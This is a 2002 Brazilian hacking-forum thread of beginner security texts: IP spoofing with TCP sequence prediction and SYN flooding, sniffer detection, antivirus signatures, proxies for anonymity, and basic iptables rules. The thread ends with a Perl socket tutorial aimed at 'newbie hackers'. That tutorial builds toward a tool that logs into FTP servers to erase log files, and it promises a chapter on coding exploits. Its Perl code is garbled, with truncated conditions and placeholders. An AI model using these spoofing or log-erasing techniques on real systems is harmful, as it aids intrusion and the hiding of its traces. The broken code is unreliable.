
28/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
|
E æ galeraaaa !!!
Vou postar aki alguns txt selecionados,....que quiser postar,...
por favor...
Postem somente informações e dicas úteis,...
Sem essa de txt retirado de paginas com fundo preto e com caverinhas rodando p todo o lado,...
\\valewz
..:: neo ::.
|

28/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
|
..:: spoofing ::..
Alguns conceitos:
Para que você entenda este texto, é necessário que você possua alguns conceitos básicos de Unix e protocolos tcp/ip. Ok, vamos lá. Antes de mais nada o spoofing não é um ataque e sim parte de um. Logo, spoofing é uma espécie de técnica de ataque, do qual o hacker pode mascarar o seu endereço IP ou DNS, Por exemplo, dizendo ao sistema que ele vai atacar, que ele é confiável. Isto ocore porque as comunicações entre
computadores em uma rede (Internet) se baseiam nestes endereços "confiáveis" para trocarem informações. Uma máquina A pode manter uma comunicação com a máquina B de forma que não seja necessário verificar toda hora se a informação vinda é autêntica entre elas. O hacker, então, põe uma espécie de disfarce na sua máquina, dizendo para a máquina A que "ele" é a máquina B. Assim, a máquina A vai aceitar todos os seus comandos, então o cara pode fazer o que quiser nela. Os tripos mais comuns de spoofing são: IP-spoofing, DNS-spoofing, Web-spoofing, mail-spoofing entre outros.
Como mencionei anteriormente, em um ataque de spoofing o intruso toma a identidade de um host confiável. Em uma rede Unix podemos configurar hosts "confiáveis". Se uma máquina Unix cria em seu diretório /home, um arquivo denominado rhosts que contenha uma lista de nomes de hosts, logo qualquer usuário com o user id que você pôs neste arquivo pode
logar-se na sua conta usando rlogin. O Rlogin é um protocolo baseado em cliente/servidor simples, que usa o TCP como protocolo de comunicação. O Rlogin permite ao usuário se logar remotamente de um host ao outro. Se a máquina-alvo confiar na máquina deste usuário, o rlogin permitirá a conveniência de não pedir password. Ela irá somente autenticar o cliente via endereço IP. Então podemos executar comandos remotos (com rsh) desde que aqueles hosts "confiáveis" estejam listados no rhosts, sem pedir password. Outra possibilidade é listar nomes de hosts no arquivo /etc/hosts.equiv. Neste caso, qualquer usuário das máquinas listadas pode também logar-se no host local sem uma password.
Three-Way Handshake:
Quando um host envia uma mensagem a um outro host, este pode ser dividido em un número de segmentos e redirecionado ao host destino por TCP. O IP somente se encarrega de roteá-lo. Quando uma aplicação em um cliente quer alcançar a outra em um servidor, deve conhecer a direção IP da máquina-destino e o número da porta TCP designado à aplicação, e decidir então a conexão-destino. (conexão-destino = direção IP + número de porta Para establecer uma conexão, O TCP utiliza um procedimento denominado "3-way handshake". Neste processo 3 mensagens (SYN, SYN/ACK y ACK) são requeridas para estabelecer a conexão. Entre a informacão intercambiada está a direção de cada máquina e o número de
seqüência inicial (#SI) que ambas utilizarão para establecer a comunicação. Estes números são exclusivos para a conexão entre essas duas máquinas, e se baseiam na hora do relógio interno do sistema. Uma vez aberta a conexão, as duas máquinas, já "autenticadas", estão prontas para trocar dados. Em determinadas versões do sistema operacional Unix, os números de seqüência respondem a um padrão muito previsível.
Por exemplo, na versão BSD Unix (Berkeley Software Development) o #SI se incrementa em 128 cada segundo e em 64 por nova conexão estabelecida. Assim se uma conexão se abre, pode-se saber que #SI será utilizado em uma próxima conexão. Esta é a característica explorada nos ataques de spoofing.
Ok, suponhamos que o host A quer comunicar-se com o host B. O host A inicia o handshake passando seu #SI, chamando A, no campo de seqüência do primeiro segmento sincronizado (SYN) do 3-way handshake. Quando o segundo host, B, recebe o SYN de A, este memoriza o número de seqüência recebido e replica enviando um SYN com seu #SI, chamando B, assim com um reconhecimento (ACK) indicando a A que reconhece o
primeiro SYN enviado e continua com o handshake.
Quando A recebe o SYN/ACK de B, lhe devolve um ACK a B indicando que ambos concordam que a conexão se estabeleceu. Complicado né? vá em frente, você acabará entendendo.
O ataque:
A primeira etapa de um ataque de spoofing é identificar as máquinas que vão ser vítimas do mesmo, suponhamos que sejam os hosts "A" e "B" sendo A um host confiável de B. O agressor, que chamaremos de X, tentará estabelecer uma conexão com B de forma que B acredite ter uma conexão com A quando na realidade ele tem uma conexão com a máquina do intruso. X em primeiro lugar, abre uma conexão legítima a seu host objetivo B, respondendo este último com uma mensagem que reconhece a solicitação e establece um #SI=b1. Logo X, toma o lugar de A, enviando a B um SYN com a direção origem de A. B responde com um SYN (#SI=b2) e um ACK que vão ao host legítimo A (é necessário que B "ache" que está se comunicando com A). X nunca "enxerga" esta mensagem, mas pode enviar um ACK a B predizendo b2 a partir do conhecimento de b1. Se enganar este mesmo, B crerá ter uma conexão legítima com A, quando na realidade esta conexão é com X. As saídas desta sessão não podem ser vistas por X, mas este pode executar comandos em B.
Além de predizer o #SI, o intruso deverá impedir que a mensagem de B chegue a A, esta mensagem alcançará A, este se daria conta que B está reconhecendo algo que ele nunca enviou, logo A enviaria em reposta um reset (RST) a B para terminar a conexão e o ataque de spoofing falharia. Uma das formas de evitar que o ataque falhe é enviando uma grande
quantidade de SYNs à porta 513 (login) para carregar completamente aquela porta de forma tal que B, no aceite nenhuma outra conexão, incluíndo Resets (B se torna inoperante).
Normalmente há um time-out associado com uma conexão pendente, logo as conexões half-opened eventualmente expirarão e o host atacado se recuperará. O host agressor pode então continuar enviando pacotes IP-spoofed sem problemas, requerendo novas conexões mais rápido que o sistema atacado pode dar "baixa" às conexões pendentes.
Como prevenir?
Uma forma de detectar o IP spoofing é monitorando pacotes com algum software de monitoração de redes tal como o netlog por exemplo. O objetivo é verificar um pacote na interface externa da rede que tenha direções IP de origem e destino pertenecentes ao domínio local.
Com a atual tecnologia de protocolo IP, é impossível eliminar pacotes IP-spoofed. Sistemas provedores de serviços Internet baseados em TCP podem ver-se inabilitados de administrar tais serviços quando estão sobre um ataque e por algum tempo depois de que o mesmo já tenha cessado. Para evitar um ataque dessse tipo, várias medidas podem ser tomadas para reduzir o número de pacotes IP-spoofed que entram na sua rede.
A melhor forma de prevenir o problema de IP spoofing é reduzir a probabilidade de que um site seja objetivo de algum destes ataques, é instalando um roteador que filtre a entrada da interface externa da rede (conhecido como um filtro de entrada) não permitindo que um pacote o atravesse, se o mesmo tem como direção de origem um que não corresponda ao da rede interna. Isto preveniria que um agressor não pertencente a sua rede lhe envie pacotes pretendendo ser uma máquina de sua rede. Esta á uma boa solução, se nós unicamente confiamos em máquinas locais. Se confiamos em máquinas externas, esta solucão topológica falha. Neste caso devem-se bloquear todos os protocolos que usem TCP e autenticações basedas em direções. Ainda que este ataque específico está dirigido a sistemas Unix, qualquer sistema que autentica hosts ou usuários baseados em endereços IP é vulnerável a um ataque
de spoofing.
\\valewz
..:: neo ::.
esse texto naum eh de minha propria autoria.
|

28/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
..:: O que é sniffer e como ele funciona: ::..
Computadores em rede compartilham canais de comunicação. Isso é, obviamente, muito mais barato que passar um cabo para cada par de computadores e usar um switch (hub) pra comutar as conexões. Neste canais compartilhados, computadores podem receber informações enviadas a outros computadores. A ação de capturar informações destinadas a uma outra máquina é chamada sniffing.
O padrão Ethernet envia um pacote para todas as máquinas em um mesmo segmento. O cabecalho do pacote contem o endereço da máquina destino. Supoe-se que somente a máquina que tenha o endereço contido no pacote receba-o. Diz-se que um computador está em modo promíscuo quando o mesmo captura todos os pacotes, independentemente de serem ou não destinados a ele.
Em um ambiente de rede normal, os nomes e as senhas dos usuários sao passadas atraves da rede em claro, ou seja, texto não criptografado. Não é dificil, portanto, um intruso utilizando uma máquina com interface de rede em modo promíscuo, obter qualquer senha, inclusive a do root, usando um sniffer.
NotaTD: O padrão Token Ring também permite modo promíscuo.
Como detectar um ataque de um sniffer:
Para detectar um dispositivo sniffer que somente coleta dados e não responde a nenhuma solicitacao, é necessario o exame fisico de todas as conexões ethernet e a verificação individual das interfaces.
Um sniffer, rodando em uma máquina, coloca a interface de rede em modo promíscuo com o intuito de capturar todos os pacotes de um determindado segmento. Na maioria dos sistemas Unix é possivel detectar uma interface promiscua.
Note que é possivel usar um sniffer em modo não promíscuo, porem somente poderao ser capturados os pacotes enderecados para a máquina onde ele está rodando.
Para SunOs, NetBSD, e diversos derivados de BSD Unix systems, o comando
# ifconfig -a
mostrará informações relativas a todas as interfaces.
lo Link encap:Local Loopback
inet addr:127.0.0.0 Bcast:127.255.255.255 Mask:255.0.0.0
UP BROADCAST LOOPBACK RUNNING MTU:2000 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0
TX packets:16930 errors:0 dropped:0 overruns:0
eth0 Link encap:10Mbps Ethernet HWaddr 00:80:A8:C3:45:ED
inet addr:200.239.53.1 Bcast:200.239.53.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MTU:1500 Metric:1
^^^^^^^
RX packets:227622 errors:0 dropped:0 overruns:0
TX packets:282918 errors:0 dropped:0 overruns:0
Interrupt:10 Base address:0x300
A utilização do comando "ifconfig" no DEC OSF/1, IRIX e em alguns outros Unix, requer que o dispositivo seja especificado. Uma maneira de saber o nome deste dispositivo é utilizar o comando
# netstat -r
que mostrará a seguinte saída:
Routing tables
Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0
Assim, para testar a interface utiliza-se o comando:
# ifconfig le0
le0: flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1
No Ultrix é possivel detectar o uso de sniffer com os comandos pfstat e pfconfig.
pfconfig mostra quem está rodando o sniffer e o pfstat mostra se a interface está ou não em modo promíscuo.
Em sistemas como Solaris, SCO e algumas versoes do Irix, não existe indicação de modo promíscuo, não havendo, portanto, maneiras de detectar o uso do sniffer.
Como o volume de informações que trafegam em uma rede tente a ser grande, grande também sera o tamanho do log gerado pelo programa sniffer. Pacotes como o tigger tentam encontrar arquivos de log, com esta característica.
É altamente recomendado o uso da ferramenta lsof (disponível em ftp://coast.cs.purdue.edu/pub/Purdue/lsof) para procurar arquivos de log e programas acessando dispositivos como o /dev/nit (no caso do SunOS).
Não são conhecidos comandos para detectar um IBM PC compativel em modo promíscuo.
Bloqueando ataques de sniffer:
Hubs ativos e switches enviam um pacote somente para a máquina destino, tornando a ação no sniffer sem efeito. Note que isto somente funciona em circuitos 10 base T.
Criptografia:
Fazendo uso de criptografia entre as conexões, os pacotes podem ser capturados, porem não podendo serem decifrados, são inuteis.
NotaTD: Existem nos EUA, atualmente, leis que proibem a exportação de algorítimos de criptografia e restingem a 40 bits o tamanho das chaves para softwares exportados.
Tecnologias de one-time password
S/key e outras tecnologias de one-time password tornam sem efeito a ação do sniffer, já que a cada conexão uma nova senha deve ser informada. O uso desta tecnologia permite usar um canal inseguro, por que não existe reutilização de uma mesma senha.
Esta tecnologia é baseada em desafio/resposta e funciona da seguinte maneira: A cada pedido de conexão o usuário recebe um desafio que deve ser informado ao dispositivo de one-time password (normalmente um maquininha semelhante a uma calculadora), que por sua vez devolve a uma resposta, que deverá ser usada como senha, para aquela, e somente para aquela conexão. SecureID, SNK e CryptoCard, por exemplo, usam cartões como máquina de resposta.
S/key está disponível em ftp//:thumper.bellcore.com:/pub/nmh/skey
Outras tecnologias de one-time password usam um cartão que gera, a cada determindado intervalo de tempo (1 minuto, 30 segundos, etc.), uma senha que permite a aquele usuário se conectar naquele instante.
Interfaces não-promiscuas:
As interfaces abaixo foram testadas para modo promíscuo usando o Gobbler. Caso você encontre alguma destas que funcione em modo promíscuo, por favor envie uma mensagem para cklaus@iss.net e ela será removida.
NotaTD: Em determinadas circustâncias, uma placa em modo promíscuo, e um sniffer podem (e muito) auxiliar um adminstrador a capturar pacotes para resolver problemas da instalação.
IBM Token-Ring Network PC Adapter
IBM Token-Ring Network PC Adapter II (short card)
IBM Token-Ring Network PC Adapter II (long card)
IBM Token-Ring Network 16/4 Adapter
IBM Token-Ring Network PC Adapter/A
IBM Token-Ring Network 16/4 Adapter/A
IBM Token-Ring Network 16/4 Busmaster Server Adapter/A
Em relação as seguintes placas, existem rumores que elas permitem o modo promíscuo, mas a veracidade destes rumores é duvidosa.
Microdyne (Excelan) EXOS 205
Microdyne (Excelan) EXOS 205T
Microdyne (Excelan) EXOS 205T/16
Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card/8
Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card/8
Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card/16
Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card/32
HP 27247B EtherTwist Adapter Card/16 TP Plus
HP 27252A EtherTwist Adapter Card/16 TP Plus
HP J2405A EtherTwist PC LAN Adapter NC/16 TP
Adaptadores baseados no chipset TROPIC geralmente não suportam modo promíscuo. Este chipset é usado na placa Token Ring da IBM. Outros vendedores (notamente 3Com) também usam este chipset. Note que placas com chipset TROPIC com EPROMs especiais, todavia, podem aceitar modo promíscuo. Neste caso a placa envia um o aviso "Trace Tool Present"
Em sistemas Unix onde existe a indicação de modo promíscuo, use o seguinte comando para retirar a interface deste modo:
# ifconfig XXX -promisc
onde XXX é a identificação da interface.
|

28/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Aug 2002
Posts: 16
|
|
|
IDENTIFICANDO ARQUIVOS MALICIOSOS
A grande maioria dos problemas relacionados a incidentes de segurança em computadores pessoais é causada por programas maliciosos, dentre os quais estão os vírus (normais e de macro), os worms, os programas servidores - muitas vezes chamados de cavalos de tróia, ver no menu do frame acima CAVALO DE TRÓIA - é até mesmo simples instruções que, quando executadas no seu computador, destroem o sistema ou comprometem seu funcionamento.
O grande paradoxo é que boa parte da culpa por estes estragos cabe à vítima, uma vez que em quase todos os casos ela é inocentemente ##mplice do ataque. É uma questão de educação: siga sempre os velhos conselhos de boa conduta com computadores, tome os devidos cuidados blá blá blá e "não execute programas estranhos". Assim fica muito mais difícil ter problemas, mas em certas horas precisamos nos arriscar e muitas vezes nem sabemos que estamos nos arriscando tanto.
Como prova de que o conselho sobre não executar arquivos de estranhos é eficaz, temos os muitos vírus e worms que se propagam por email enviando cópias de si mesmo para sua lista de amigos. Dessa forma abre-se uma brecha na confiança da vítima, que pensa: "Bom, se meu amigo está me mandando, deve ser coisa boa!" Zapt! Pimba! Dançou...
Pronto, você executou um programa malicioso no seu computador, e agora? Bom, se o programa for muito violento e apagar seus arquivos, não há muito o que fazer senão recomeçar do zero, instalando os softwares novamente. Mas geralmente não são tão destrutivos e ficam tão quietos que você só percebe depois de bastante tempo, exatamente quando for tarde demais. E o pior: um programa desses pode estar destruindo seu computador agorinha mesmo, sem que você saiba. O que fazer?
Esses programas, em especial os mais furtivos, são catalogados de acordo com suas ações e características do seu código. Programas possuem uma assinatura, uma parte das suas instruções internas que é única, assim como nosso DNA e, fazendo uma busca em todos os arquivos do seu computador podemos identificar, através desta assinatura, se algum programa malicioso "conhecido" habita seus discos.
Veja bem, eu disse "programa malicioso conhecido" porque, se um programa novo é lançado, nós ainda não somos capazes de reconhecer sua assinatura, pelo menos até ele ser catalogado e cadastrado na nossa lista de assinatura.
Trazendo tudo para a nossa linguagem cotidiana: nós não vamos pessoalmente vasculhar cada arquivo do computador, que geralmente passam de centenas de milhares. Vamos usar um outro programa para fazer isso. Adivinhe o nome desse programa? Um doce para quem respondeu "Anti-Vírus". Resumidamente, o que os programas anti-vírus fazem é, de posse de uma lista de assinaturas de programas maliciosos, abrir cada arquivo do seu disco e comparar com as assinaturas desta lista. Caso alguma coincida, ele terá identificado um problema, algumas vezes oferecendo a possibilidade de remover apenas o trecho malicioso outras vezes apagando o arquivo problemático.
Este método não está restrito aos vírus, ele pode ser utilizado para identificar qualquer tipo de programa devidamente cadastrado na lista de assinaturas. Os fabricantes cadastram nesta lista todo código que julgam prejudicial ao seu computador e dependem dos seus laboratório de pesquisa, que recebem e estudam estes programas, extraindo a sua assinatura de identificação e colocando-a disponível para a atualização da lista de programas maliciosos.
Certamente você já deve ter percebido a importância dos tais "anti-vírus atualizados". Se um anti-vírus não possui uma lista de assinaturas completa, pode ser que ele vasculhe um arquivo contaminado mas, por não "conhecer" o vírus, deixa-o ileso. Certamente o vírus não fará o mesmo...
A forma como cada programa atualiza esta lista varia de acordo com o fabricante mas, atualmente, este processo é feito on-line e a verificação de novas listas pode ser programada para uma determinada periodicidade. Como a internet tem um poder muito grande de disseminação, uma atualização a cada 3 dias ainda é considerada segura para um usuário costumas.
|

28/08/2002
|
 |
Usuário Registrado
|
|
Data de registro: Jun 2002
Local: Framingham/MA - USA
Posts: 415
|
|
Não me lembro quem uma vez comentou sobre Buffer Overrun... tenho um texto aki, se vcs quizerem ler, clique no link... Buffer Overrun
T+
|

28/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
..:: Proxy/Wingate ::..
Este é um tema muito interessante e pouco conhecido pela maioria das pessoas. Mas, o que é este tal de Proxy????
Proxy é um software (ou conjunto Hardware/Software) muito utilizado por empresas e provedores para armazenar páginas visitadas pelos usuários destas redes e isolar o acesso entre rede interna e internet.
Geralmente, quando nos referimos a Proxy (servidor proxy), estamos falando da máquina onde o software está rodando.
Sua intenção, ao contrario do que parece, é das melhores! Ele armazena uma home-page em seu disco rígido para que a próxima pessoa que quiser visitar aquela página não tenha que esperar muito tempo para ela ser carregada.
Vejamos o exemplo:
- Você digita no seu Browser : www.yahoo.com.br
- Imediatamente, um pedido é feito ao seu provedor; que procura por aquela página.
- Ao achá-la, ele tira uma cópia, coloca no Proxy e manda o arquivo para você.
- Quando um outro usuário digitar www.yahoo.com.br, o Proxy não irá procurar na internet pelo endereço. Ele simplesmente manda aquela cópia que tirou quando você visitou o endereço.
Espero que tenha ficado claro!
Por ai se tira algumas conclusões...Algumas óbvias; outras, nem tanto.
- Todo os lugares que você visitou estão guardados no provedor.
- É possível utilizá-lo para ficar anônimo.
A primeira é preocupante... Mas, dependendo do método de armazenamento do provedor, não tem que se preocupar.
A segunda é o que realmente interessa! Vamos analisar o pedido à página do Yahoo/BR: quando você requisitou a página do yahoo, o servidor do yahoo gravou em seu arquivo de LOG o IP de origem do pedido.
Assim, qualquer página que você visitar gravará de onde veio o pedido. Mas, se o pedido for feito através de um Proxy, o IP que será logado será o do servidor proxy.
Desta maneira, caso alguém tente se conectar ao seu computador com esta informação, NÃO será possível, para este alguém, lhe localizar.
Um exemplo muito comum: Você está aqui lendo esta página...Seu IP foi gravado pela página inicial... Qualquer pessoa pode ir ao contador de visitas, onde está o arquivo de log desta página, e procurar por alguém que a tenha visitado nos últimos 2 minutos. Provavelmente esta pessoa ainda está conectada. Com seu endereço de IP as possibilidades são muitas( derrubar a conecção, infectar com trojan, etc.).
Mas, se você visitou esta página via proxy o IP será o do proxy e não o seu.
Atenção: não queira instalar um programa de proxy, wingate, sygate ou qualquer coisa do tipo, no seu microcomputador... Estes softs servem apenas para quem tem redes internas e precisa conectá-las à internet a um custo baixo. TODO soft tem bugs (falhas) e se voce instalar um destes ficará mais exposto à invasões. Além do mais, ele NÃO esconderá a sua identidade!
Mas, será que todo proxy é anônimo??? Não. Infelizmente!
Para saber se o proxy que você escolheu é anônimo ou não, visite os links abaixo:
http://privacy.net/analyze/
http://internet.junkbuster.com/cgi-b...w-http-headers
http://anonymizer.virtualave.net/cgi-bin/env.cgi
http://cserve.cis.smu.edu/misc/envtest.html
Nestes sites você verá que tipo de informações eles conseguem tirar de seu browser.
Alguns deles fornecem os HTTP-HEADERS, que fazem parte da requisição de páginas na web. Estes, você deve procurar; por exemplo; pelos seguintes:
REMOTE_ADDR: seu ip
REMOTE_HOST: seu host
HTTP_X_FORWARDED_FOR: proxy; mostra o IP de quem o utiliza (dedo-duro)
HTTP_USER_AGENT: seu browser
FORWARDED: mostra o proxy usado
VIA: mostra uso do proxy
CLIENT_IP: seu IP novamente revelado pelo proxy
HTTP_FROM: seu IP novamente revelado pelo proxy
Caso algum deles revele seu IP ou nome do provedor ,pode descartá-lo. Procure outro! É raro, mas alguns deles escondem seu Browser e sistema operacional (Win95/98, Linux, BeOS,etc). Neste caso, eu recomendo o Proxomitron.
Como achar os proxys e wingates???
Vá ao endereço: http://freebooks.hypermart.net/proxy/wingate.htm
Clique em recent checked e, depois, em Submit. Ele lhe mostrará uma lista com 2000 proxys e wingates verificados recentemente. Lembre-se: porta 1080 são Wingates. Porta 8000,8080,3126, geralmente, são proxys.Use os wingates com ICQ, IRC, e-mail; e os proxys para navegar com seu browser.
Um excelente programa para filtrar cookies, banners ,java e utilizar proxy ao mesmo tempo é o Proxomitron; um programa gratuito, pequeno , simples, mas imbatível para navegar pela Net de forma segura.
Outra forma de usar proxy são aqueles proxys com interface via Web. Mas nestes casos é necessario ir a página do serviço de proxy e digitar a URL do lugar que você quer visitar. Mais prático é usar o browser configurado para usar proxy.
|

28/08/2002
|
![Avatar de ^[H,L]aetc](http://www.istf.com.br/vb/avatars/-h-l-aetc.gif?dateline=1110038414) |
Usuário Registrado
|
|
Data de registro: Jul 2002
Local: Teresópolis, RJ
Posts: 367
|
|
Cantinho do aprendiz? Que bonitinho.. posso colocar algo para iptables?
Introdução básica ao Iptables
Bem, crianças.. o kernel do linux tem firewall, e é sobre isso que eu vou escrever. Como todo firewall, ele possui regras para filtragem de pacotes, e essas regras são inseridas usando-se o comando iptables.
O iptables usa 2 conceitos básicos: table e chain.
Imagine que vc tenha 3 mesas para trabalhar. Em uma, você pega os documentos e marca para revisão; na outra, estão aqueles que serão distribuídos; e numa terceira você deve selecionar quais serão aceitos e quais não. São três mesas, ou "tables" no iptbables, pelo que me consta.. Nota: eu usei mesa como metáfora. O sentido provável aqui é de tabela.
Elas tem uma ordem, e só vou tratar aqui de uma dessas tabelas. Quando um pacote chega (ou sai do) ao computador, ele checa
usando-se as regras que estão nas correntes (chains) de cada tabela, na seguinte ordem:
mangle, que serve para alterar coisas no pacote, como TOS e ttl;
nat, para NAT duhhh! Não vou explicar o que é nat aqui, então procure outra fonte;
filter, faz o que você esperaria de um firewall..
Bem, vamos nos concentrar na table filter. Para você adicionar uma nova regra, usamos iptables com -A:
iptables -t filter -A INPUT -p tcp --tcp-flags SYN,ACK,RST SYN -j DROP
O -t filter pode ser omitido, visto que essa tabela é default.
O -A adiciona uma regra a chain, nesse caso a input, que pega todos os pacotes que entram na máquina. O -p indica o protocolo usado (udp, tcp, icmp, igmp), e o parâmetro tcp-flags indica quais flags devem estar ativadas no pacote para que a regra bata. Nesse caso ele olha os bits SYN, ACK e RST, mas fará algo apenas o SYN estiver "ligado" e esses outros desligados. Esse caso específico possui a opção --syn como substituto para --tcp-flags SYN,ACK,RST SYN. E -j indica qual o alvo. Indica o que vai ser feito do pacote. Opções poderiam ser: reject (rejeitar o pacote retornando uma mensagem de erro), accept (aceitar), drop (descartar, o cara que enviou não tem resposta alguma), nome de uma cadeia pré-definida etc.. Nesse caso, é o DROP, esse pacote é descartado. Esse é um caso legal para quando você tem um computador que não vai rodar nenhum servidor. Por quê? Basta ler a mensagem abaixo sobre spoofing que cita o three-way-handshake pra saber porque.
Bem, reescrevendo de forma mais simples:
iptables -A INPUT -p tcp --syn -j DROP
Para se especificar um ip qualquer, você pode usar -s para fonte e -d para ip de destino. Por exemplo, você pode querer filtrar pacotes com endereço de sua rede, mas que venham de fora, evitando spoofing. Dá pra checar até pelo endereço da interface de rede (MAC).. Bem, vamos pensar em mais um exemplo legal:
Você sabe que existem scanners que determinam o S.O, certo? Uma das técnicas que eles usam é enviar um pacote FIN; o certo é não responder nada, mas alguns sistemas respondem com RST, como o windows.. O seu Linux não responderia, mas imagine que ele responda.. isso deixa o scanner confuso. Mudar o ttl tb, como eu descrevo em algum tópico por aí (um sobre nmap). Vamos tentar essa então:
iptables -A INPUT -p tcp --tcp-flags ALL FIN -j REJECT --reject-with tcp-reset
Bem, você quer permitir conexões por telnet apenas dentro de sua rede (eu não usaria nem internamente..)? use -s e -dport, que indica a porta de destino..
iptables -A INPUT -p tcp -s 192.168.0.0 --dport 23 -j ACCEPT
Bem, não é a forma mais simples.. temos que criar outra regra. Então vamos usar o ! que serve para indicar tudo que NÃO bata com o que colocamos. Dessa forma, a regra acima vira:
iptables -A INPUT -p tcp -s ! 192.168.0.0 --dport 23 -j DROP
Você pode ainda criar suas próprias chains, que podem ser alvos dessas regras.. São muitas as possibilidades... e muita coisa que eu não sei.
Bem, essa é a minha contribuição. Se alguem achou algum erro, tenha a liberdade de apontar aqui. Não me perguntem tudo sobre iptables pq eu ainda estou lendo os manuais.. 
Ah, coloquem suas regras em um script de inicialização, senão vc perde tudo no reboot. Para mais informações sobre iptables, temos esse site e esse.
Divirtam-se. Se esse txt serviu para algo, fico feliz. Só não invente que é seu..
|

30/08/2002
|
|
Usuário Registrado
|
|
Data de registro: Jul 2002
Posts: 18
|
|
Indice
#################################################
# #
# [1]- Explicacao sobre socket #
# [2]- ARGV (Necessario no aprendizado) #
# [3]- Criando seu primeiro socket #
# [4]- Socket basico #
# [5]- Proveitos do socket #
# [6]- Exemplo do logsremov.pl #
# [7]- Codando seus proprios exploits #
# [8]- Agradecimentos #
# #
#################################################
Vamos aprender!
[1]- Explicacao sobre socket
Bem gente aki eu gostaria de explicar como funciona a programacao de
sockets em perl, se vc nao sabe o q eh socket, vou te explicar. Socket eh
um recurso bastante utilizado nas linguagens de programacao p/ conectar a
um certo endereco... Vc provavelmente se eh bem informado, jah deve ter
ouvido falar em sockets N vezes! O socket eh um recurso mto bom... nao sei
o q seria dos programas da internet sem o socket... nada
funcionaria/existiria... Entao mano, vc jah sabe q o socket eh sempre
usado nos exploits remotos, tb nao sabe o q eh exploit remoto? Exploit
remoto eh algo que vc roda da sua makina p/(ownar, atacar...) aki nesse
texto eu espero que vc aprenda mtas coisas... pois esse texto eh dedicado
aos Newbies Fucadores! Good Lock!
[2]- ARGV
Bem ARGV eh algo que eh mto utilizado nos programas em geral, nao soh em
socket, vc pode ter um exemplo em argv, qnd acontece a seguinte situacao:
bash# perl -w programinha.pl
Por favor digite perl -w programinha.pl
#bash
Um grande exemplo de como ARGV surge..... entao o ARGV ele necessita de q
X valores sejam digitados... ou seja no programa a cima necessitavam de 2
valores... vamos supor q agente fosse entrar na microsoft porta 29 usando
o programinha.pl, ficaria assim:
bash# perl -w programinha.pl microsoft.com 29
Viu?!?!? Nos digitamos 2 valores e o ARGV foi usado, agora chega de teoria
vamos um poko a pratica...
Vamos supor que vc cria um programa e ker q ele exiba na tela algo usando
ARGV ficaria assim:
$alow=$ARGV[0]; #$alow eh a variavel e ela vai ser igual a o 1 valor de
#ARGV... ou seja o q digita depois do arkivo.pl serah exibido
print "$alow \n"; #Aki ele fax com que o $alow seja imprimido ou seja o q
#vc digitou tem de ser imprimido e tb tem o \n = newline novalinha eh
#criada
PS: Na programacao o caracter # ker dizer um comentario...
Vc teria entao de digitar perl -w programa.pl
seria imprimido na tela:
Mensagem que vc digitou
Agora vc ker que mostre qnd nada for digitado aparece, por favor digite
perl arkivo.pl
isso eh facil si liga soh...
$ARGC=@ARGV; #mostra q a variavel serah um vetor....
if ($ARGC \n"; #Exibe msg na tela p/
#usar o ARGV use o codigo $0 no print para ele exibir o nome do programa
exit; #Fecha o codigo
} #Fecha a funcao...
Pronto.... Agora eh facil.... vamos criar agora um ultimo exemplo, keremos
um programa q exiba uma msg tb.... soh ke agora vai ter tudo organizado e
sem comentarios, aki:
$ARGC=@ARGV;
if ($ARGC \n";
exit;
}
$mensagem=$ARGV[0];
print "$mensagem \n";
Pronto estah aki o macete usado em socket ARGV, no momento vc deve tar
pensando pq vai precisar disso mas acredite em mim, vc ainda vai usar mto
disso em exploits, em situacoes do dia-a-dia , em tudo!
[3]- Criando seu primeiro socket
Bem jah que vcs que estao lendo isso sao newbies vou usar poucos recursos,
kero apenas mostrar uma conexao e desconexao....
Kero mostrar uma parte do logsremov.... o login... Bem se vc nao se
incomoda, iremos usar ftp , iremos conectar na ROL(Provedor) e desconectar
use Socket; #Informa ao interpretador usar socket
$port="21"; #Define a porta
$host="ftp.rol.com.br"; #Define o host
$iaddr= inet_aton($host) or die "Error: $!"; #iaddr = pega o host e o or
#die, significa se algo der errado o programa morre... ou seja termina a
#execucao
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!"; #pega a porta
$proto=getprotobyname('tcp'  or die "Error - Protocol: $!"; #Define o
#protocolo a ser usado com o comando getprotobyname('protocolo'  tcp que
#usaremos
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; #Especifica
#o socket
connect(SOCK, $paddr) or die "Error: $!";; #Conecta as informacoes dadas
exit;
Pronto ele desconectou e assim acaba!
[4]- Socket Basico
Bem gente, vejamos, agora teremos um socket basico, o que ker dizer, um
socket melhor, com mais funcoes e etc..... utilizaremos ARGV e mandaremos
faremos o socket mandar mensagens
Tipo, entao iremos fazer um programa que conecta a certo endereco de ftp,
se logue como anonymous e desconecte......
print "FTP Client Tester by Unsekurity Team \n";
print "\n";
$ARGC=@ARGV;
if ($ARGC \n";
print "\nChange the port N°, on the code and the DIRs to be
erased\nas $ print "\n";
exit;
}
use Socket;
my($host,$iaddr, $paddr, $port, $proto, $rlogin, $rpass);
$port="21";
$host=$ARGV[0];
$rlogin=$ARGV[1];
$rpass=$ARGV[2];
$iaddr= inet_aton($host) or die "Error: $!";
$paddr=sockaddr_in($port, $iaddr) or die "Error: $!";
$proto=getprotobyname('tcp'  or die "Error - Protocol: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";;
$msg = "USER $rlogin\n";
send(SOCK, $msg, 0) or die "Error: $!";
$msg = "PASS $rpass\n";
send(SOCK, $msg, 0) or die "Error: $!";
$msg= (SETAR_ARKIVO_DE_LOGS) or die "File not found...: $!"  ;
send(SOCK, $msg, 0) or die "Error: $!";
while () {
print;
}
exit;
